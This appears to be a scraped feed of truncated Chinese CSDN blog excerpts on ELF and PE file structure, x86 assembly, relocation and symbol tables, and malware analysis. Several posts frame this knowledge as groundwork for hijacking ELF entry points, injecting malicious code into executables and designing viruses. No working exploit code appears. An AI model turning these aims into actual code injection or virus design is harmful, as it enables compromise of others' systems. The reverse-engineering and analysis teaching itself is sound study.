本节我们一点一滴的了解段的数据格式和作用,这对我们后面了解Linux系统如何加载运行程序,并掌握相关的高级hack技术有非常重要的作用,首先我们看段头对应的数据结构,它用于描述ELF文件中某个段的基本特征:
typedef  struct {
uint32_t sh_name; #段名
uint32_t sh_type;                     
                        作者:tyler_download 发表于 2020/11/08 18:46:10 原文链接 http://blog.csdn.net/tyler_download/article/details/109562884                    
                    
                        阅读:67
2020-12-05 23:07:39tyler_download的专栏
在使用高级语言例如java,C++,python来编写代码时,我们使用最多的莫过于分支跳转控制语句,例如if..else, switch..case, for()等,本节我们看看这些分支...                    
                        作者:tyler_download 发表于 2020/10/23 17:24:39 原文链接 http://blog.csdn.net/tyler_download/article/details/109252662                    
                    
                        阅读:111
2020-12-05 23:07:39tyler_download的专栏
在代码运行时需要临时存放各种信息,例如函数调用时的输入参数,局部变量等,这些信息存储在一种叫做”栈“的数据结构上。它的特点是后进先出,也就是最后存储到栈里面的数据将会最先被取出来。X86体系自带栈结构,寄存器ESP,EBP专门用于对栈进行操作。EBP指向栈所在的内存地址,ES[图片上传中…(截屏2020-09-30 下午3.56.59.png-a3f002-1601452956326-0)]
P指向数据进入或弹出堆栈所在的位置,同时对于栈操作的指令有push,pop,call,leave,enter,ret                    
                        作者:tyler_download 发表于 2020/10/09 18:06:32 原文链接 http://blog.csdn.net/tyler_download/article/details/108983594                    
                    
                        阅读:123 评论:1 查看评论
2020-12-05 23:07:39tyler_download的专栏
本节我们看看X86指令集以及X86的硬件体系架构。在汇编语言中最常见的指令就是mov,他将数据从一个地方转移到指定位置,该指令能将数据转移到特定位置的内存或是给定寄存器。mov指令的格式为(mov 目的,源头),源头指的是要被挪到的数据,目的是数据被挪动的目的地,  我们看几个具体例子:
mov eax, ebx (把寄存器ebx中的数据拷贝到eax寄存器)
mov eax, 0x42 (把数值0x42赋值给eax寄存器)
mov eax, [0x4037c4](把地址为0x4037c4的4字节数据拷贝到e                    
                        作者:tyler_download 发表于 2020/09/27 16:36:37 原文链接 http://blog.csdn.net/tyler_download/article/details/108831037                    
                    
                        阅读:78
2020-12-05 23:07:39tyler_download的专栏
掌握黑客技术一大难点就在于你要非常深入计算机技术的底层。绝大多数程序员只愿意在上层应用上花点时间,毕竟他们只想”混饭吃“,任何有志于不断提升技术能力的工程师都必须跨过几个高门槛,一个是算法,一个是系统设计,还有就是掌握计算机体系结构,与底层,与硬件打交道,这些知识点难度大,有些甚至很枯燥,因此愿意专研的人不多,我们本节所要描述的汇编语言就属于计算机体系结构的一部分。
一名真正的黑客,不是那些只会使用工具搞些歪门邪道的门外汉,掌握汇编语言在关键时刻使用反汇编技术进行分析不可避免。在这里我们对汇编语言做初步掌握                    
                        作者:tyler_download 发表于 2020/09/15 10:06:05 原文链接 http://blog.csdn.net/tyler_download/article/details/108594045                    
                    
                        阅读:84
2020-12-05 23:07:39tyler_download的专栏
要想实现ELF文件的入口劫持,不深入掌握其运行原理与组成结构那是不可能的。ELF的内部结构复杂,加载逻辑难以理解,因此我们需要通过切香肠的方式,将这个困难的技术点一点一滴的去攻克。
这一节我们先掌握如何读取头部信息和程序表头,我们先看ELF文件的大致结构:

ELF文件格式最重要的就是所谓的段,特别是其中的代码段和数据段。对应上图就是.text,.data两个段。每个段都对应一个段表来描述,而若干隔断会组成一个整体,它对应一个program,而后者则由program header table来指向,讲解EL                    
                        作者:tyler_download 发表于 2020/09/05 10:51:04 原文链接 http://blog.csdn.net/tyler_download/article/details/108416709                    
                    
                        阅读:233
2020-12-05 23:07:39tyler_download的专栏
重定向是计算机技术中非常底层的概念和操作。它指的是将程序中涉及到的变量名与变量在计算机内存中的位置关联起来。当在代码中执行类似x=1;的语句时,编译器需要通过重定向信息找到变量x对应的内存位置,然后将数值1写入该内存,因此重定向既跟程序的加载链接有关,又于编译原理有关,因此对计算机体系结构不了解,或只关注上层应用开发,对底层技术理解不多的同学对它进行掌握就会有些困难。
为了准确将变量对应到具体的内存位置,就必须要有相关信息来描述变量名与内存之间的关系,这些信息就叫重定向记录(relocation recor                    
                        作者:tyler_download 发表于 2020/08/25 18:52:21 原文链接 http://blog.csdn.net/tyler_download/article/details/108227133                    
                    
                        阅读:131
2020-12-05 23:07:39tyler_download的专栏
一句话总结人工智能技术那就是:道可道,非常道。第一个“道”指的是世界存在客观规律;第二个“道”指的是这些规律可以被人类识别,掌握;第三个“道”指的是认知方法,而“非常道”指的是特殊的不同...                    
                        作者:tyler_download 发表于 2020/08/16 11:49:59 原文链接 http://blog.csdn.net/tyler_download/article/details/108047246                    
                    
                        阅读:57
2020-12-05 23:07:39tyler_download的专栏
我时常会浏览大厂的招聘信息,其中会反应出当前技术的发展趋势以及市场对相应人才的需求量。通过了解大厂想要什么人,这类人待遇怎样,我们能推断出未来技术的发展方向,特别是市场需求,于是我们能快...                    
                        作者:tyler_download 发表于 2020/08/15 12:50:39 原文链接 http://blog.csdn.net/tyler_download/article/details/108030897                    
                    
                        阅读:79
2020-12-05 23:07:39tyler_download的专栏
本节看看如何将前面讲述的各种工具和理论应用到实践中来。我们将拿几个专门针对windows系统开发的恶意程序作为实例,用前面讲到的工具和理论具体分析其设计原理并了解它所要实现的目的。
所要分析的二进制可执行文件以及所有用到的工具可从如下链接下载链接: https://pan.baidu.com/s/1QBwGxCGjA7kYd4HchSTlWg  密码: 09g7
首先我们分析第一个恶意程序,也就是malicious-01.exe。面对exe程序时,首先要做的就是将它丢到PEView里先看看它的大概信息,打开                    
                        作者:tyler_download 发表于 2020/08/06 11:49:49 原文链接 http://blog.csdn.net/tyler_download/article/details/107836166                    
                    
                        阅读:178
2020-12-05 23:07:38tyler_download的专栏
作者:tyler_download 发表于 2020/07/30 12:14:43 原文链接 http://blog.csdn.net/tyler_download/article/details/107704282                    
                    
                        阅读:94 评论:3 查看评论
2020-12-05 23:07:38tyler_download的专栏
熟悉编译原理的同学一定了解何为符号,所谓符号其实是一种数据结构,用来描述编程语言中定义的特定对象。例如编程语言中定义的变量,函数都有特定的符号用于描述他们的性质。例如变量对应的符号中包含了变量对应的字符串名称,变量的类型,以及变量对应的内存。函数对应的符号包含了函数名称字符串,函数的返回值类型,函数入口内存地址等,在代码调试时,你把鼠标挪动到变量所在位置,IDE就给你显示出变量当前的取值等信息,这些信息就来自变量对应的符号,我在有关编译原理的两门课程里对符号有非常深入的讲解。
在elf文件中存在两种符号表,                    
                        作者:tyler_download 发表于 2020/07/28 10:51:38 原文链接 http://blog.csdn.net/tyler_download/article/details/107631143                    
                    
                        阅读:114
2020-12-05 23:07:38tyler_download的专栏
大多数人使用windows系统,相必对其.exe结尾的文件印象深刻,执行任何程序时,你双击该文件即可,这个文件就是系统的可执行文件,我们需要了解其组成结构才能对其进行侵入,劫持或注入恶意代码。
.exe文件也叫PE文件,它由一系列段头和段来组成。它一开始是一系列段头数据结构,用于描述各个段的相关性质,接下来就是包含代码和数据的各种段。有几个段特别值得注意,.text段包含CPU可以执行的指令,其他所有段包含数据或者是辅助CPU执行该段里面指令的相关信息,这个段是唯一包含可执行代码的段。.rdata包含引入和                    
                        作者:tyler_download 发表于 2020/07/27 11:17:40 原文链接 http://blog.csdn.net/tyler_download/article/details/107607622                    
                    
                        阅读:317
2020-12-05 23:07:38tyler_download的专栏
要想在Linux系统上实现逆向工程,分析,设计或查杀病毒和恶意代码,你不得不深入掌握其可执行文件的ELF格式,这样你才能了解进程在内存空间的布局和运行的基本规律,这样你才能有针对性的设计有效的病毒或恶意代码入侵系统。
ELF文件主要有以下几种类型,ET_NONE表示该文件的作用未知;ET_REL表示重定向文件或叫目标文件,它们将会被链接并加装到某个指定的虚拟内存位置,常见的以.o结尾的二进制文件就属于这种类型。ET_EXEC表示可执行文件,它是由多个.o文件链接起来,可以被加载到内存进行执行的进程数据文件;                    
                        作者:tyler_download 发表于 2020/07/20 10:57:38 原文链接 http://blog.csdn.net/tyler_download/article/details/107458875                    
                    
                        阅读:166